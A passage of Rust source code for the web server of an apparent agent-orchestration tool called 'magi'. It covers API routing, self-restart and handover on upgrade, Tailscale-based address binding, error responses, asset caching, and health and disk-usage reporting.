1418 .route("/app.css", get(app_css))
1419 .route("/app.js", get(app_js))
1420 .route("/api/health", get(health))
1421 .route("/api/references", post(id_links::resolve_text))
1422 .route("/api/loop", get(loop_get).post(loop_post))
1423 .route("/api/upgrade", post(upgrade_post))
1424 .route("/api/runs", get(runs_list))
1425 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
1426 .route("/api/runs/{id}/core", get(run_core))
1427 .route("/api/runs/{id}/report", get(run_report))
1428 .route("/api/runs/{id}/report.json", get(run_report_json))
1429 .route("/api/runs/{id}/graft.diff", get(run_graft_diff))
1430 .route("/api/runs/{id}/fold", post(run_fold))
1431 .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
1432 .route("/api/runs/{id}/resume", post(run_resume))
1433 .route("/api/queue", get(queue_list))
1434 .route("/api/queue/page", get(queue_page))
1435 .route("/api/search", get(search_get))
1436 .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
1437 .route("/api/queue/{id}/core", get(task_core))
1438 .route("/api/stats", get(stats_get))
1439 .route("/api/stats/queue", get(stats_queue))
1440 .route("/api/repos", get(repos_list))
1441 .route("/api/settings", get(settings_get))
1442 .route("/api/settings/roles", put(settings_put_roles))
1443 .route("/api/queue/{id}/hold", post(queue_hold))
1444 .route("/api/queue/{id}/release", post(queue_release))
1445 .route("/api/queue/{id}/priority", post(queue_priority))
1446 .route("/api/queue/{id}/urgent", post(queue_urgent))
1447 .route("/api/queue/{id}/implementers", post(queue_implementers))
1448 .route("/api/queue/{id}/attempt-limit", post(queue_attempt_limit))
1449 .route("/api/queue/{id}/edit", post(queue_edit))
1450 .route("/api/queue/{id}/done", post(queue_done))
1451 .route("/api/questions", get(questions_list))
1452 .route("/api/questions/core", get(questions_core))
1453 .route("/api/questions/origins", get(question_origins))
1454 .route("/api/questions/{id}/answer", post(question_answer))
1455 .route("/api/questions/{id}/say", post(question_say))
1456 .route("/api/questions/{id}/consult", post(question_consult))
1457 .route("/api/questions/{id}/panel", get(question_panel))
1458 .route("/api/questions/{id}/panel/index.html", get(question_panel))
1466 .route("/api/questions/{id}/panel/{name}", get(question_asset))
1467 .route("/api/questions/{id}/asset/{name}", get(question_asset))
1468 .route("/api/notifications", get(notifications_list))
1469 .route("/api/notifications/read-all", post(notifications_read_all))
1470 .route("/api/notifications/{id}/read", post(notification_read))
1471 .route(
1472 "/api/notifications/{id}/dismiss",
1473 post(notification_dismiss),
1474 )
1475 .route("/api/talks", get(talks_list).post(talk_post))
1476 .route("/api/talks/page", get(talks_page))
1477 .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
1478 .route("/api/talks/{id}/core", get(talk_core))
1479 .route("/api/talks/{id}/sections", get(talk_sections))
1480 .route("/api/talks/{id}/say", post(talk_say))
1481 .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
1482 .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
1483 .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
1484 .route("/api/talks/{id}/agent", post(talk_agent))
1485 .route("/api/talks/{id}/persona", post(talk_persona))
1486 .route("/api/talks/{id}/implementers", post(talk_implementers))
1487 .route("/api/talks/{id}/close", post(talk_close))
1488 .route("/api/talks/{id}/reopen", post(talk_reopen))
1489 .route(
1495 "/api/talks/{id}/attachments",
1496 post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
1497 )
1498 .route(
1499 "/api/talks/{id}/attachments/{att}",
1500 get(talk_attachment_get),
1501 )
1502 .route("/api/talks/{id}/avatar", get(talk_avatar))
1503 .route("/avatars/operator.svg", get(operator_avatar))
1504 .route(
1505 "/api/avatar-settings",
1506 get(avatar_settings_get)
1507 .put(avatar_settings_put)
1508 .delete(avatar_settings_delete),
1509 )
1510 .route("/avatars/persona", get(settings_persona_avatar))
1511 .route("/avatars/magi", get(magi_avatar))
1512 .route(
1513 "/api/magi-icon",
1514 get(magi_icon_get)
1515 .put(magi_icon_put)
1516 .delete(magi_icon_delete),
1517 )
1518 .route("/api/events", get(events))
1519 .with_state(self)
1520 }
1521}
1522
1523#[derive(Debug)]
1529struct TalkTurnGuard {
1530 talk: String,
1531 turns: Arc<Mutex<TalkTurns>>,
1532 released: bool,
1533 lease: Option<crate::talk::TurnLease>,
1535}
1536
1537#[derive(Debug, Default)]
1544struct TalkTurns {
1545 live: HashSet<String>,
1546 queued: HashMap<String, u64>,
1547}
1548
1549enum TalkTurnStart {
1552 Claimed(TalkTurnGuard),
1553 Busy,
1554 Foreign,
1557 Pending,
1558}
1559
1560impl TalkTurnGuard {
1561 #[cfg(test)]
1562 fn owns(&self) -> bool {
1566 self.lease
1567 .as_ref()
1568 .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1569 }
1570
1571 #[cfg(test)]
1572 async fn respond(
1575 &self,
1576 talk: &mut Talk,
1577 talks: &Talks,
1578 cfg: &Config,
1579 text: &str,
1580 ) -> anyhow::Result<()> {
1581 let lease = self
1582 .lease
1583 .as_ref()
1584 .context("the turn guard no longer holds its lease")?;
1585 talk::respond(lease, talk, talks, cfg, text).await
1586 }
1587
1588 fn release(mut self, live: &mut TalkTurns) {
1591 self.lease = None;
1595 live.live.remove(&self.talk);
1596 live.queued.remove(&self.talk);
1597 self.released = true;
1598 }
1599}
1600
1601impl Drop for TalkTurnGuard {
1602 fn drop(&mut self) {
1603 if self.released {
1604 return;
1605 }
1606 drop(self.lease.take());
1608 if let Ok(mut live) = self.turns.lock() {
1609 live.live.remove(&self.talk);
1610 live.queued.remove(&self.talk);
1611 }
1612 }
1613}
1614
1615struct ResumeGuard {
1617 run: String,
1618 resuming: Arc<Mutex<HashSet<String>>>,
1619}
1620
1621impl Drop for ResumeGuard {
1622 fn drop(&mut self) {
1623 if let Ok(mut live) = self.resuming.lock() {
1624 live.remove(&self.run);
1625 }
1626 }
1627}
1628
1629async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1639 const WINDOW: Duration = Duration::from_secs(10);
1640 const GAP: Duration = Duration::from_millis(250);
1641
1642 let deadline = std::time::Instant::now() + WINDOW;
1643 let mut said = false;
1644 loop {
1645 match tokio::net::TcpListener::bind(socket).await {
1646 Ok(listener) => return Ok(listener),
1647 Err(e)
1648 if e.kind() == std::io::ErrorKind::AddrInUse
1649 && std::time::Instant::now() < deadline =>
1650 {
1651 if !said {
1652 said = true;
1653 tracing::info!(
1654 "{socket} is still held - waiting up to {}s for it, \
1655 which is what a restart looks like from here",
1656 WINDOW.as_secs()
1657 );
1658 }
1659 tokio::time::sleep(GAP).await;
1660 }
1661 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1662 }
1663 }
1664}
1665
1666static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1669
1670const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1672const RESTART_PORT_ENV: &str = "MAGI_WEB_RESTART_PORT";
1674
1675fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1677 value.is_some_and(|v| v == "1")
1678}
1679
1680fn spawn_successor(home: &FsPath, port: u16, exe: &FsPath) -> Result<u32> {
1699 let args: Vec<String> = std::env::args().skip(1).collect();
1700 updater::log_step(
1701 home,
1702 &format!("restarting: {} {}", exe.display(), args.join(" ")),
1703 );
1704 let log_path = home.join(WEB_LOG);
1705 let open_log = || {
1706 std::fs::create_dir_all(home)?;
1707 std::fs::OpenOptions::new()
1708 .create(true)
1709 .append(true)
1710 .open(&log_path)
1711 };
1712 let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1713 Ok(pair) => (
1714 std::process::Stdio::from(pair.0),
1715 std::process::Stdio::from(pair.1),
1716 ),
1717 Err(e) => {
1718 updater::log_warn(
1719 home,
1720 &format!(
1721 "could not open {}: {e}; the successor logs nowhere",
1722 log_path.display()
1723 ),
1724 );
1725 (std::process::Stdio::null(), std::process::Stdio::null())
1726 }
1727 };
1728
1729 let mut cmd = std::process::Command::new(exe);
1730 cmd.env_remove(RESUME_LOOP_ENV);
1731 cmd.env(RESTART_PORT_ENV, port.to_string());
1732 cmd.args(&args)
1733 .stdin(std::process::Stdio::null())
1734 .stdout(out)
1735 .stderr(err);
1736 #[cfg(windows)]
1737 {
1738 use std::os::windows::process::CommandExt as _;
1739 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1742 }
1743 let child = cmd.spawn().context("start the successor")?;
1744 Ok(child.id())
1745}
1746
1747const WEB_LOG: &str = "web.log";
1749
1750async fn wait_for_handover(signal: &Notify) {
1754 signal.notified().await;
1755}
1756
1757pub async fn serve(opts: Opts) -> Result<()> {
1760 crate::worker::remember_current_executable()?;
1763 let executable = std::env::current_exe().context("find the installed web executable")?;
1764 let (addr, warning) = resolve_bind(&opts.bind);
1765 if let Some(warning) = warning {
1766 tracing::warn!("{warning}");
1767 }
1768
1769 report::set_color(false);
1775
1776 let repo = normalize_default_repo(opts.repo).await;
1777 let ui = Arc::new(Ui::open(repo).with_merge(opts.merge));
1778 let home = ui.home.clone();
1780 let admissions = Arc::clone(&ui.admissions);
1781 updater::reconcile_after_restart(&home);
1786 updater::log_step(
1787 &home,
1788 &format!(
1789 "web process started (version {}); handover log {}, successor output {}",
1790 env!("CARGO_PKG_VERSION"),
1791 updater::log_path(&home).display(),
1792 home.join(WEB_LOG).display()
1793 ),
1794 );
1795 updater::spawn_watchdog(home.clone());
1796 let port = if opts.port == 0 {
1804 std::env::var(RESTART_PORT_ENV)
1805 .ok()
1806 .and_then(|value| value.parse::<u16>().ok())
1807 .filter(|port| *port != 0)
1808 .unwrap_or(0)
1809 } else {
1810 opts.port
1811 };
1812 let socket = SocketAddr::new(addr, port);
1813 let listener = bind_waiting(socket).await?;
1814 let bound = listener.local_addr().context("read bound web address")?;
1815 let port = bound.port();
1816 let url = format!("http://{bound}");
1817 tracing::info!(
1818 "magi web UI on {url} - there is no authentication, so anyone who can \
1819 reach this address can file and hold tasks: the tailnet is the \
1820 security boundary"
1821 );
1822 if resume_requested(std::env::var_os(RESUME_LOOP_ENV)) && !daemon::managed(&home) {
1824 ui.start_detached_loop()
1825 .await
1826 .map_err(|e| anyhow::anyhow!(e.message))?;
1827 }
1828 if opts.open {
1829 println!("{url}");
1833 }
1834
1835 let recheck_ui = ui.clone();
1838 let mut served = tokio::spawn(axum::serve(listener, ui.shared_router()).into_future());
1839 let recheck = tokio::spawn(run_update_recheck(recheck_ui));
1840 let interrupted = async {
1841 if tokio::signal::ctrl_c().await.is_err() {
1842 std::future::pending::<()>().await;
1847 }
1848 };
1849 let handover = wait_for_handover(&HANDOVER);
1850 let outcome = tokio::select! {
1851 joined = &mut served => match joined {
1852 Ok(outcome) => outcome.context("serve the web UI"),
1853 Err(e) => Err(e).context("the task serving the web UI ended"),
1854 },
1855 () = interrupted => {
1856 recheck.abort();
1857 tracing::info!("shutting down the web UI; detached workers continue");
1858 close_admissions(&admissions).await;
1859 served.abort();
1860 let _ = served.await;
1861 Ok(())
1862 }
1863 () = handover => {
1864 recheck.abort();
1865 let successor_home = home.clone();
1866 hand_over(&home, &admissions, served, move || spawn_successor(&successor_home, port, &executable)).await
1867 }
1868 };
1869 recheck.abort();
1870 let _ = recheck.await;
1871 updater::log_step(
1872 &home,
1873 &match &outcome {
1874 Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
1875 Err(e) => format!("serve: returning an error: {e:#}"),
1876 },
1877 );
1878 outcome
1879}
1880
1881async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1902 if repo != FsPath::new(".") {
1903 return repo;
1904 }
1905 let Ok(canonical) = repo.canonicalize() else {
1906 return repo;
1907 };
1908 if git::toplevel(&canonical).await.is_ok() {
1909 return repo;
1910 }
1911 let Some(home) = dirs::home_dir() else {
1912 return repo;
1913 };
1914 match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1915 Some(found) => {
1916 tracing::info!(
1917 "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1918 canonical.display(),
1919 found.path.display(),
1920 found.reason,
1921 );
1922 found.path
1923 }
1924 None => repo,
1925 }
1926}
1927
1928async fn close_admissions(admissions: &tokio::sync::RwLock<bool>) {
1931 *admissions.write().await = true;
1932}
1933
1934async fn hand_over(
1937 home: &FsPath,
1938 admissions: &tokio::sync::RwLock<bool>,
1939 served: tokio::task::JoinHandle<std::io::Result<()>>,
1940 successor: impl FnOnce() -> Result<u32>,
1941) -> Result<()> {
1942 close_admissions(admissions).await;
1943 if let Some(mut progress) = updater::read_progress(home) {
1944 progress.advance(updater::Stage::Restarting);
1945 progress.detail =
1946 Some("Restarting scheduler and web; active workers continue unchanged.".to_owned());
1947 updater::write_progress_logged(home, &progress);
1948 }
1949 updater::log_step(
1950 home,
1951 "restarting scheduler without parking execution workers",
1952 );
1953 let scheduler = daemon::restart_detached(home).await;
1954 if let Err(error) = &scheduler {
1955 let _ = updater::fail_progress(home, &format!("restart scheduler: {error:#}"));
1956 updater::log_warn(
1957 home,
1958 &format!("scheduler restart failed; restoring the web UI: {error:#}"),
1959 );
1960 }
1961 updater::log_step(home, "releasing the web listener");
1962 served.abort();
1963 let _ = served.await;
1964 updater::log_step(home, "web listener released; starting the successor");
1965 match successor() {
1966 Ok(pid) => {
1967 updater::log_step(home, &format!("successor started, pid {pid}"));
1968 scheduler
1969 }
1970 Err(e) => {
1971 let _ = updater::fail_progress(home, &format!("start web successor: {e:#}"));
1972 Err(e)
1973 }
1974 }
1975}
1976
1977pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1983 match bind {
1984 Bind::Addr(addr) => (*addr, None),
1985 Bind::Auto => match tailscale_ip() {
1986 Ok(ip) => (IpAddr::V4(ip), None),
1987 Err(why) => (
1988 IpAddr::V4(Ipv4Addr::LOCALHOST),
1989 Some(format!(
1990 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1991 local-only and a phone cannot reach it; start Tailscale \
1992 or pass --bind <addr>"
1993 )),
1994 ),
1995 },
1996 }
1997}
1998
1999fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
2007 let out = std::process::Command::new("tailscale")
2008 .args(["ip", "-4"])
2009 .quiet()
2010 .output()
2011 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
2012 if !out.status.success() {
2013 let why = String::from_utf8_lossy(&out.stderr);
2014 let why = why.trim();
2015 return Err(format!(
2016 "`tailscale ip -4` failed ({}){}",
2017 out.status,
2018 if why.is_empty() {
2019 String::new()
2020 } else {
2021 format!(": {why}")
2022 }
2023 ));
2024 }
2025 String::from_utf8_lossy(&out.stdout)
2026 .lines()
2027 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
2028 .find(is_tailnet)
2029 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
2030}
2031
2032fn is_tailnet(ip: &Ipv4Addr) -> bool {
2034 let o = ip.octets();
2035 o[0] == 100 && (64..=127).contains(&o[1])
2036}
2037
2038type ApiResult<T> = std::result::Result<T, ApiError>;
2042
2043#[derive(Debug)]
2045struct ApiError {
2046 status: StatusCode,
2047 message: String,
2048 text_reason: Option<crate::question_delivery::UnavailableReason>,
2049}
2050
2051impl ApiError {
2052 fn bad_request(message: impl Into<String>) -> Self {
2054 Self {
2055 text_reason: None,
2056 status: StatusCode::BAD_REQUEST,
2057 message: message.into(),
2058 }
2059 }
2060
2061 fn not_found(message: impl Into<String>) -> Self {
2063 Self {
2064 text_reason: None,
2065 status: StatusCode::NOT_FOUND,
2066 message: message.into(),
2067 }
2068 }
2069
2070 fn with_status(mut self, status: StatusCode) -> Self {
2073 self.status = status;
2074 self
2075 }
2076
2077 fn bad_request_from(e: anyhow::Error) -> Self {
2081 Self::bad_request(format!("{e:#}"))
2082 }
2083
2084 fn conflict(message: impl Into<String>) -> Self {
2085 Self {
2086 text_reason: None,
2087 status: StatusCode::CONFLICT,
2088 message: message.into(),
2089 }
2090 }
2091
2092 fn internal(message: impl Into<String>) -> Self {
2094 Self {
2095 text_reason: None,
2096 status: StatusCode::INTERNAL_SERVER_ERROR,
2097 message: message.into(),
2098 }
2099 }
2100}
2101
2102impl From<anyhow::Error> for ApiError {
2103 fn from(e: anyhow::Error) -> Self {
2108 Self::internal(format!("{e:#}"))
2109 }
2110}
2111
2112impl IntoResponse for ApiError {
2113 fn into_response(self) -> Response {
2114 let mut body = serde_json::json!({ "error": self.message });
2115 if let Some(reason) = self.text_reason {
2116 body["code"] = serde_json::json!("question_text_unavailable");
2117 body["reason"] = serde_json::json!(reason);
2118 }
2119 (self.status, Json(body)).into_response()
2120 }
2121}
2122
2123async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
2132where
2133 T: Send + 'static,
2134{
2135 #[cfg(test)]
2136 let job = request_cost::carry(job);
2137 match tokio::task::spawn_blocking(job).await {
2138 Ok(result) => result,
2139 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
2140 }
2141}
2142
2143const ASSET_CACHE: &str = "no-cache, must-revalidate";
2161
2162fn asset_etag() -> &'static str {
2169 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
2170 format!(
2171 "\"{}-{}\"",
2172 env!("CARGO_PKG_VERSION"),
2173 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
2178 )
2179 });
2180 &TAG
2181}
2182
2183fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
2185 [
2186 (header::CONTENT_TYPE, mime),
2187 (header::CACHE_CONTROL, ASSET_CACHE),
2188 (header::ETAG, asset_etag()),
2189 ]
2190}
2191
2192fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
2200 let tag = asset_etag();
2201 let known = headers
2202 .get(header::IF_NONE_MATCH)
2203 .and_then(|v| v.to_str().ok())
2204 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
2208 if known {
2209 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
2210 }
2211 (asset_headers(mime), body).into_response()
2212}
2213
2214async fn index(headers: header::HeaderMap) -> Response {
2215 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
2216}
2217
2218async fn app_css(headers: header::HeaderMap) -> Response {
2219 asset(&headers, "text/css; charset=utf-8", APP_CSS)
2220}
2221
2222async fn app_js(headers: header::HeaderMap) -> Response {
2223 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
2224}
2225
2226#[derive(Debug, Serialize)]
2228struct HealthView {
2229 version: &'static str,
2230 home: String,
2231 queue_rev: u64,
2232 runs_rev: u64,
2233 questions_rev: u64,
2245 talks_rev: u64,
2247 notifications_rev: u64,
2249 notifications_unread: usize,
2252 loop_rev: u64,
2257 runs_unreadable: usize,
2265 disk: DiskView,
2273 questions_open: usize,
2279 questions_needs_owner: usize,
2289 daemon: DaemonView,
2290 #[serde(rename = "loop")]
2296 looping: LoopView,
2297 update: UpdateView,
2304 upgrade: Option<UpgradeProgressView>,
2308 jobs: Vec<WorkerView>,
2311 upgrade_request_error: Option<UpgradeRequestFailure>,
2312}
2313
2314#[derive(Debug, Serialize)]
2317struct WorkerView {
2318 id: String,
2319 kind: String,
2320 key: String,
2321 pid: Option<u32>,
2322 status: crate::worker::Status,
2323 generation: String,
2324 version: Option<String>,
2325 queue_owned: bool,
2326}
2327
2328impl From<crate::worker::Job> for WorkerView {
2329 fn from(job: crate::worker::Job) -> Self {
2330 let queue_owned = job.kind == "task"
2331 && job
2332 .payload
2333 .get("standalone")
2334 .and_then(serde_json::Value::as_bool)
2335 != Some(true);
2336 Self {
2337 id: job.id,
2338 kind: job.kind,
2339 key: job.key,
2340 pid: job.pid,
2341 status: job.status,
2342 generation: job.generation,
2343 version: job.version,
2344 queue_owned,
2345 }
2346 }
2347}
2348
2349#[derive(Debug, Serialize)]
2356struct UpdateView {
2357 available: bool,
2359 to: Option<String>,
2361}
2362
2363#[derive(Debug, Serialize)]
2365struct UpgradeProgressView {
2366 trigger: updater::UpgradeTrigger,
2367 stage: updater::Stage,
2368 from: String,
2369 to: Option<String>,
2370 waiting_on: Option<String>,
2373 started_at: Timestamp,
2374 updated_at: Timestamp,
2375 detail: Option<String>,
2376 stuck_for_secs: Option<i64>,
2379 stuck_kind: Option<updater::StallKind>,
2382 handover_alive: bool,
2385}
2386
2387fn should_spawn_recheck(cfg: &Update) -> bool {
2394 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2395}
2396
2397fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2409 if progress.is_some_and(|p| !p.stage.terminal()) {
2410 return false;
2411 }
2412 checker.should_check()
2413}
2414
2415fn recheck_poll_period(cfg: &Update) -> Duration {
2428 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2429}
2430
2431#[derive(Debug, PartialEq, Eq)]
2432enum AutoUpgradeDecision {
2433 Skip(&'static str),
2434 Wait,
2435 Trigger,
2436}
2437
2438fn auto_upgrade_decision(
2439 cfg: &Update,
2440 disabled: bool,
2441 in_motion: bool,
2442 busy: bool,
2443 tag: &str,
2444 failed: Option<&str>,
2445) -> AutoUpgradeDecision {
2446 if !cfg.auto_restart || cfg.mode == UpdateMode::Off || disabled {
2447 AutoUpgradeDecision::Skip("disabled")
2448 } else if in_motion {
2449 AutoUpgradeDecision::Skip("upgrade already in progress")
2450 } else if failed == Some(tag) {
2451 AutoUpgradeDecision::Skip("this release already failed; restart to retry")
2452 } else if busy {
2453 AutoUpgradeDecision::Wait
2454 } else {
2455 AutoUpgradeDecision::Trigger
2456 }
2457}
2458
2459async fn run_update_recheck(ui: Arc<Ui>) {
2461 loop {
2462 let cfg = match Config::discover(&ui.repo, None) {
2463 Ok((cfg, _)) => cfg,
2464 Err(e) => {
2465 updater::log_warn(
2466 &ui.home,
2467 &format!("auto-upgrade: config unavailable: {e:#}"),
2468 );
2469 tokio::time::sleep(UPDATE_RECHECK_POLL_MAX).await;
2470 continue;
2471 }
2472 };
2473 if should_spawn_recheck(&cfg.update)
2474 && let Some(checker) = updater::Checker::new(&cfg.update)
2475 {
2476 let progress = updater::read_progress(&ui.home);
2477 let mut latest = checker.cached_update();
2478 if update_recheck_due(&checker, progress.as_ref()) {
2479 match checker.newer_release().await {
2480 Ok(found) => latest = found,
2481 Err(e) => tracing::warn!("background update recheck failed: {e:#}"),
2482 }
2483 }
2484 if cfg.update.auto_restart
2485 && let Some(latest) = latest
2486 {
2487 let response =
2488 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, Some(latest)).await;
2489 updater::log_step(
2490 &ui.home,
2491 &format!("auto-upgrade: request status {}", response.status()),
2492 );
2493 }
2494 }
2495 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2496 }
2497}
2498
2499fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2505 let default;
2506 let cfg = match cfg {
2507 Some(cfg) => cfg,
2508 None => {
2509 default = Config::default();
2510 &default
2511 }
2512 };
2513 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2514 match latest {
2515 Some(latest) => UpdateView {
2516 available: true,
2517 to: Some(latest.tag_name),
2518 },
2519 None => UpdateView {
2520 available: false,
2521 to: None,
2522 },
2523 }
2524}
2525
2526fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2532 let now = Timestamp::now();
2533 let lease = updater::read_lease(&ui.home);
2534 let alive = updater::live_lease(&progress, lease.as_ref(), now);
2535 let run_id = alive
2536 .and_then(|l| l.parked_run.as_deref())
2537 .or(progress.parked_run.as_deref());
2538 let parking = progress.stage == updater::Stage::Parking;
2539 let waited = alive.map_or_else(String::new, |l| {
2540 let secs = updater::waited_secs(l, now);
2541 format!(" (waited {} min so far)", secs / 60)
2542 });
2543 let run_text = run_id
2544 .filter(|_| parking)
2545 .map(|id| match read_run(&ui.runs, id).ok() {
2546 Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2547 None => format!("run {id} is finishing"),
2548 });
2549 let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2550 .filter(|t| parking && !t.is_empty())
2551 .map(|t| format!("{t} finishing"));
2552 let waiting_on = match (run_text, talks_text) {
2553 (None, None) => None,
2554 (run, talks) => {
2555 let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2556 Some(format!(
2557 "{} before the address is handed over{waited}",
2558 parts.join(" and ")
2559 ))
2560 }
2561 };
2562 let detail = progress
2563 .detail
2564 .clone()
2565 .or_else(|| updater::read_note(&ui.home, &progress));
2566 let stalled = updater::stall(&progress, lease.as_ref(), now);
2567 let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2568 UpgradeProgressView {
2569 trigger: progress.trigger,
2570 stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2571 stuck_kind: stalled.map(|s| s.kind),
2572 handover_alive: alive.is_some(),
2573 stage: progress.stage,
2574 from: progress.from,
2575 to: progress.to,
2576 waiting_on,
2577 started_at: progress.started_at,
2578 updated_at: progress.updated_at,
2579 detail,
2580 }
2581}
2582
2583#[derive(Debug, Serialize)]
2586struct DiskView {
2587 #[serde(skip_serializing_if = "Option::is_none")]
2589 free_bytes: Option<u64>,
2590 runs_bytes: Option<u64>,
2592 worktrees_bytes: Option<u64>,
2594 #[serde(skip_serializing_if = "Option::is_none")]
2596 cache_bytes: Option<u64>,
2597 retention: Option<crate::retention::Report>,
2599}
2600
2601const DISK_REFRESH: Duration = Duration::from_secs(60);
2604
2605#[derive(Debug, Clone, PartialEq, Eq)]
2606struct DiskScope {
2607 runs: PathBuf,
2608 worktrees: PathBuf,
2609 cache: Option<PathBuf>,
2610}
2611
2612impl DiskScope {
2613 fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2614 Self {
2615 runs: ui.runs.clone(),
2616 worktrees: ui.worktrees_root.clone(),
2617 cache: cfg.and_then(Config::cache_dir),
2618 }
2619 }
2620}
2621
2622#[derive(Debug, Clone, Copy, Default)]
2623struct DiskCapacity {
2624 free_bytes: Option<u64>,
2625 runs_bytes: Option<u64>,
2626 worktrees_bytes: Option<u64>,
2627 cache_bytes: Option<u64>,
2628}
2629
2630impl DiskCapacity {
2631 fn measure(scope: &DiskScope) -> Self {
2632 Self {
2633 free_bytes: crate::disk::free_bytes(&scope.runs).ok(),
2634 runs_bytes: disk_capacity_size(&scope.runs),
2635 worktrees_bytes: disk_capacity_size(&scope.worktrees),
2636 cache_bytes: scope.cache.as_deref().and_then(disk_capacity_size),
2637 }
2638 }
2639
2640 fn retain_successes(&mut self, next: Self) {
2641 self.free_bytes = next.free_bytes.or(self.free_bytes);
2642 self.runs_bytes = next.runs_bytes.or(self.runs_bytes);
2643 self.worktrees_bytes = next.worktrees_bytes.or(self.worktrees_bytes);
2644 self.cache_bytes = next.cache_bytes.or(self.cache_bytes);
2645 }
2646}
2647
2648fn disk_capacity_size(path: &FsPath) -> Option<u64> {
2651 let metadata = match std::fs::symlink_metadata(path) {
2652 Ok(metadata) => metadata,
2653 Err(error) if error.kind() == std::io::ErrorKind::NotFound => return Some(0),
2654 Err(_) => return None,
2655 };
2656 if !metadata.is_dir() {
2657 return Some(if metadata.is_file() {
2658 metadata.len()
2659 } else {
2660 0
2661 });
2662 }
2663 let mut total = 0;
2664 let mut stack = vec![path.to_owned()];
2665 while let Some(dir) = stack.pop() {
2666 for entry in std::fs::read_dir(dir).ok()? {
2667 let entry = entry.ok()?;
2668 let metadata = entry.metadata().ok()?;
2669 if metadata.is_dir() {
2670 stack.push(entry.path());
2671 } else if metadata.is_file() {
2672 total += metadata.len();
2673 }
2674 }
2675 }
2676 Some(total)
2677}
2678
2679#[derive(Debug, Default)]
2680struct DiskObservation {
2681 scope: Option<DiskScope>,
2682 capacity: DiskCapacity,
2683 in_flight: bool,
2684 finished: Option<std::time::Instant>,
2685}
2686
2687impl DiskObservation {
2688 fn observe(
2689 state: &Arc<Mutex<Self>>,
2690 scope: DiskScope,
2691 measure: impl FnOnce(&DiskScope) -> DiskCapacity + Send + 'static,
2692 ) -> DiskCapacity {
2693 let mut observation = state.lock().unwrap_or_else(PoisonError::into_inner);
2694 if observation.scope.as_ref() != Some(&scope) {
2695 observation.scope = Some(scope.clone());
2696 observation.capacity = DiskCapacity::default();
2697 observation.finished = None;
2698 }
2699 let capacity = observation.capacity;
2700 if observation.in_flight
2701 || observation
2702 .finished
2703 .is_some_and(|at| at.elapsed() < DISK_REFRESH)
2704 {
2705 return capacity;
2706 }
2707 observation.in_flight = true;
2708 drop(observation);
2709
2710 let refresh = DiskRefresh {
2711 state: Arc::clone(state),
2712 scope,
2713 };
2714 tokio::task::spawn_blocking(move || {
2715 let next = measure(&refresh.scope);
2716 let mut observation = refresh.state.lock().unwrap_or_else(PoisonError::into_inner);
2717 if observation.scope.as_ref() == Some(&refresh.scope) {
2718 observation.capacity.retain_successes(next);
2719 }
2720 drop(observation);
2721 drop(refresh);
2724 });
2725 capacity
2726 }
2727}
2728
2729struct DiskRefresh {
2730 state: Arc<Mutex<DiskObservation>>,
2731 scope: DiskScope,
2732}
2733
2734impl Drop for DiskRefresh {
2735 fn drop(&mut self) {
2736 let mut observation = self.state.lock().unwrap_or_else(PoisonError::into_inner);
2737 observation.in_flight = false;
2738 if observation.scope.as_ref() == Some(&self.scope) {
2739 observation.finished = Some(std::time::Instant::now());
2741 }
2742 }
2743}
2744
2745impl DiskView {
2746 fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2748 let capacity = DiskObservation::observe(
2749 &ui.monitor.disk,
2750 DiskScope::of(ui, cfg),
2751 DiskCapacity::measure,
2752 );
2753 Self {
